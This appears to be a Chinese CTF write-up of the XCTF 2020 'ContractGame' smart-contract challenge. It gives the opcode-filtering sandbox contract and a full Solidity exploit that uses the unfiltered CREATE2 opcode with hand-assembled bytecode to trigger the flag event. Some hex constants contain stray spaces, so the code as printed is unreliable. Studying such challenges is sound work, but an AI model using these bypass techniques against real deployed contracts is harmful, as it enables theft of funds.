ContractGame

发表于 2021-05-21 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， 鲲鹏计算专场， Misc
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | 鲲鹏计算专场 | Misc | ContractGame

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目描述

题目考点

- *区块链智能合约*

解题思路

合约

```
pragma solidity ^0.5.10;

contract BoxGame {

    event ForFlag(address addr);
    address public target;

    constructor(bytes memory a) payable public {
        assembly {
            return(add(0x20, a), mload(a))
        }
    }

    function payforflag(address payable _addr) public {

        require(_addr != address(0));

        target.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(_addr);
    }

    function sendFlag() public payable {
        require(msg.value >= 1000000000 ether);
        emit ForFlag(msg.sender);
    }

}
```

构造函数中的真实合约如下

```
pragma solidity ^0.5.10;

contract BoxGame {

    event ForFlag(address addr);
    address public target;

    function payforflag(address payable _addr) public {

        require(_addr != address(0));

        uint256 size;
        bytes memory code;

        assembly {
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }

        for(uint256 i = 0; i < code.length; i++) {
            require(code[i] != 0xf0); // CREATE
            require(code[i] != 0xf1); // CALL
            require(code[i] != 0xf2); // CALLCODE
            require(code[i] != 0xf4); // DELEGATECALL
            require(code[i] != 0xfa); // STATICCALL
            require(code[i] != 0xff); // SELFDESTRUCT
        }

        _addr.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(_addr);
    }

    function sendFlag() public payable {
        require(msg.value >= 1000000000 ether);
        emit ForFlag(msg.sender);
    }

}
```

分析

合约的 constructor 函数中部署的合约才是真正的合约，所以分析构造函数里面的字节码即可

其实相当于一个沙盒，过滤了f0 f1 f2 f4 fa ff这些字节，即攻击合约中字节码不能出现这些字节，可以发现 f5 对应的 create2 没有被过滤，所以可用 create2 创建一个 emit ForFlag(0) 的合约，中间如果有禁止的字节，转换一下即可

Exp

```
contract pikachu {

    /*
    emit ForFlag(address(0));

    7F  PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2
    60  PUSH1 0x00
    60  PUSH1 0x40
    51  MLOAD
    80  DUP1
    82  DUP3
    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
    16  AND
    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
    16  AND
    81  DUP2
    52  MSTORE
    60  PUSH1 0x20
    01  ADD
    91  SWAP2
    50  POP
    50  POP
    60  PUSH1 0x40
    51  MLOAD
    80  DUP1
    91  SWAP2
    03  SUB
    90  SWAP1
    A1  LOG1
    */
    // 将上述字节码通过一些转换不包含f0 f1 f2 f4 fa ff即可
    constructor() public payable {
        assembly {
            mstore(0x500, 0x7f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9)
            mstore(0x520, 0xe27f000000000010000000000000000000000000000000000000010000000000000000)
            mstore(0x540, 0x00000160006040518082 73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73)
            mstore(0x560, 0x1111111111111111111111111111111111111111111011673eeeeeeeeeeeeeeee)
            mstore(0x580, 0xeeeeeeeeeeeeeeeeeeee7311111111111111111111111111111111111111111)
            mstore(0x5a0, 0x011681526020019150506040518091039 0a13460b26105003031f50000000000)
            return(0x500, 0x5c0)
        }
    }
}

contract Hack {
    BoxGame private constant target = BoxGame(0x4c3aa84018A031C11bE09e4b2dCC346Ae055956d);

    constructor() public payable {
        bool result;

        // emit ForFlag(0)
        pikachu hack = new pikachu();
        (result, ) = address(target).call(abi.encodeWithSelector(
            0xc1803191,
            hack
        ));
        require(result);
    }
}
```

直接部署Hack即可

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/XCTF高校网络安全专题挑战赛/鲲鹏计算专场/Misc/vhDgfyBSCdj5sXuy1r5WfZ.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Misc # XCTF高校网络安全专题挑战赛 # 鲲鹏计算专场
s34hunka
honorbook